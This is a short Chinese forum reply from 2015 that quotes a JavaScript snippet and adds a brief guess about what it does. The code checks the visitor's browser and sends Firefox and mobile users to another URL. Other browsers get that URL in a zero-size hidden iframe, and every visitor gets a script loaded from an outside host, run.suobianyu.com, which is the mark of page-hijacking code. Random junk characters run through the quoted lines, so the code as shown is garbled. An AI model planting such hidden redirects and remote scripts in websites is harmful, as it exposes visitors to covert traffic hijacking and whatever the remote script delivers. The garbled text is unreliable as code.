|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 5 U3 v& y# I0 v
- var ua = navigator.userAgent.toLowerCase(),- l! ^1 M f, D4 a) A6 x# M
- browser = {
2 X9 N% x4 @2 \' r - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
) M+ y! }; A1 n C" h' p$ t - opera: /opera/.test(ua),
7 o3 I5 }* U1 T* F, P0 k% w; R - maxthon: /maxthon/.test(ua),
' Z1 [/ O3 R4 l& Z* p$ `6 ?8 u - theworld: /theworld/.test(ua),8 H4 D8 U! w$ m3 c4 H& `" |4 M
- qq: /qqbrowser/.test(ua),6 B) ^# h& i4 _- B. R
- sogou: /se /.test(ua),. }2 I4 V, o9 X2 u
- liebao: /liebao/.test(ua),) \" L7 b" a0 q. s! Z6 W* X
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
5 V% V$ q9 n6 n2 X7 e - chrome: /chrome|crios/.test(ua),
4 n5 X3 d# R5 D p0 x - safari: /webkit/.test(ua),; U' |4 e: Y) f: X6 C
- uc: /ucbrowser/.test(ua)," M6 f0 d& D: e p
- ie: /msie/.test(ua) && !/opera/.test(ua)$ m9 [4 R& m* S3 d
- };" D# r p1 q6 r0 I4 Z1 L# U/ \
- var ver = browser.ver;0 @5 r3 o4 |5 r8 Q- N7 Z6 o' ~; m
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
. c9 V: K6 B' d1 n. ]8 h - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");: r* t5 D- G8 D+ l3 p# d* g
- } else {
% k4 P: v8 ?4 F+ k+ K. s - window.sc = "<iframe src=" + tourl + "></iframe>";) o- W: j) f1 Q4 b& t
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
( ~) t$ A' m. w) {2 A - }. a, v7 S; g: p0 \0 x8 Q7 M; a
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 0 a3 V! o* ~! Z$ g' t
$ D/ z" u) j0 N" `3 L
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|